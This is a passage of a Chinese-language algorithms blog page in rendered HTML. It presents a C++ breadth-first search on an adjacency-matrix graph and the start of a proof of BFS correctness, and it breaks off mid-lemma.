class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mclose">)</span></span></span></span>。</p><p>对于邻接矩阵，可以直接转置矩阵，时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msup><mi>V</mi><mn>2</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(V^2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p><h2 id="bfs"><a class="markdownIt-Anchor" href="#bfs"></a> BFS</h2><p>这是一份 BFS 实现。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;vector&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;queue&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Vertex</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> id;</span><br><span class="line">    <span class="type">char</span> color; <span class="comment">// &#x27;W&#x27; for white, &#x27;G&#x27; for gray, &#x27;B&#x27; for black</span></span><br><span class="line">    <span class="type">int</span> distance;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">UndirectedMatrixGraph</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    vector&lt;vector&lt;<span class="type">int</span>&gt;&gt; matrix;</span><br><span class="line">    vector&lt;Vertex&gt; vertices;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">UndirectedMatrixGraph</span>(<span class="type">int</span> V)</span><br><span class="line">    &#123;</span><br><span class="line">        matrix.<span class="built_in">resize</span>(V, <span class="built_in">vector</span>&lt;<span class="type">int</span>&gt;(V, <span class="number">-1</span>));</span><br><span class="line">        vertices.<span class="built_in">resize</span>(V);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; V; i++)</span><br><span class="line">        &#123;</span><br><span class="line">            matrix[i][i] = i;</span><br><span class="line">            vertices[i].id = i;</span><br><span class="line">            vertices[i].color = <span class="string">&#x27;W&#x27;</span>;</span><br><span class="line">            vertices[i].distance = <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">bool</span> <span class="title">hasEdge</span><span class="params">(<span class="type">int</span> u, <span class="type">int</span> v)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> matrix[u][v] != <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">addEdge</span><span class="params">(<span class="type">int</span> u, <span class="type">int</span> v)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        matrix[u][v] = v;</span><br><span class="line">        matrix[v][u] = u; <span class="comment">// For undirected graph</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setColor</span><span class="params">(<span class="type">int</span> u, <span class="type">char</span> color)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        vertices[u].color = color;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setDistance</span><span class="params">(<span class="type">int</span> u, <span class="type">int</span> distance)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        vertices[u].distance = distance;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function">Vertex <span class="title">getVertex</span><span class="params">(<span class="type">int</span> u)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> vertices[u];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function">vector&lt;<span class="type">int</span>&gt; <span class="title">getNeighbors</span><span class="params">(<span class="type">int</span> u)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        vector&lt;<span class="type">int</span>&gt; neighbors;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> v = <span class="number">0</span>; v &lt; matrix.<span class="built_in">size</span>(); v++)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">hasEdge</span>(u, v))</span><br><span class="line">            &#123;</span><br><span class="line">                neighbors.<span class="built_in">push_back</span>(v);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> neighbors;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">bfs</span><span class="params">(UndirectedMatrixGraph &amp;graph, <span class="type">int</span> start)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    queue&lt;<span class="type">int</span>&gt; q;</span><br><span class="line">    graph.<span class="built_in">setColor</span>(start, <span class="string">&#x27;G&#x27;</span>);</span><br><span class="line">    graph.<span class="built_in">setDistance</span>(start, <span class="number">0</span>);</span><br><span class="line">    q.<span class="built_in">push</span>(start);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (!q.<span class="built_in">empty</span>())</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">int</span> current_id = q.<span class="built_in">front</span>();</span><br><span class="line">        Vertex current = graph.<span class="built_in">getVertex</span>(current_id);</span><br><span class="line">        vector&lt;<span class="type">int</span>&gt; neighbors = graph.<span class="built_in">getNeighbors</span>(current_id);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">const</span> <span class="type">int</span> neighbor : neighbors)</span><br><span class="line">        &#123;</span><br><span class="line">            Vertex v_n = graph.<span class="built_in">getVertex</span>(neighbor);</span><br><span class="line">            <span class="keyword">if</span> (v_n.color == <span class="string">&#x27;W&#x27;</span>)</span><br><span class="line">            &#123;</span><br><span class="line">                graph.<span class="built_in">setDistance</span>(neighbor, current.distance + <span class="number">1</span>);</span><br><span class="line">                graph.<span class="built_in">setColor</span>(neighbor, <span class="string">&#x27;G&#x27;</span>);</span><br><span class="line">                q.<span class="built_in">push</span>(neighbor);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        graph.<span class="built_in">setColor</span>(current_id, <span class="string">&#x27;B&#x27;</span>);</span><br><span class="line">        q.<span class="built_in">pop</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们需要证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v.d = \delta(s, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>，即 BFS 的正确性。</p><p>有以下引理：</p><ol><li><p>对于任意边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>E</mi></mrow><annotation encoding="application/x-tex">(u, v) \in E</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span>，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\delta(s, v) \le \delta(s, u) + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></p><p>反证法：假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>&gt;</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\delta(s, v) \gt \delta(s, u) + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，那么显然可以构造出一条 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mo>→</mo><mi>u</mi><mo>→</mo><mi>v</mi></mrow><annotation encoding="application/x-tex">s \rightarrow u \rightarrow v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的路径，长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\delta(s, u) + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，假设不成立。</p></li><li><p>对于任意顶点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span>，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>≥</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v.d \ge \delta(s, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span></p><p>假设：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>≥</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v.d \ge \delta(s, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span></p><p>基础情况：当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 源顶点加入队列时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">s.d = 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">s</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，其他节点为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∞</mi></mrow><annotation encoding="application/x-tex">\infty</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">∞</span></span></span></span>，满足假设。</p><p>那么当顶点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 发现 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 时，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>≥</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">u.d \ge \delta(s, u)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span></span></span></span> 和 $v.d = u.d + 1。</p><p>又因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>E</mi></mrow><annotation encoding="application/x-tex">(u, v) \in E</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\delta(s, v) \le \delta(s, u) + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn><mo>≥</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn><mo>≥</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v.d = u.d + 1 \ge \delta(s, u) + 1 \ge \delta(s, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>。则假设成立。</p></li><li><p>队列 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex">Q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 中为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>&lt;</mo><msub><mi>v</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>v</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>v</mi><mi>r</mi></msub><mo>&gt;</mo></mrow><annotation encoding="application/x-tex">&lt;v_1, v_2, \dots, v_r&gt;</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span 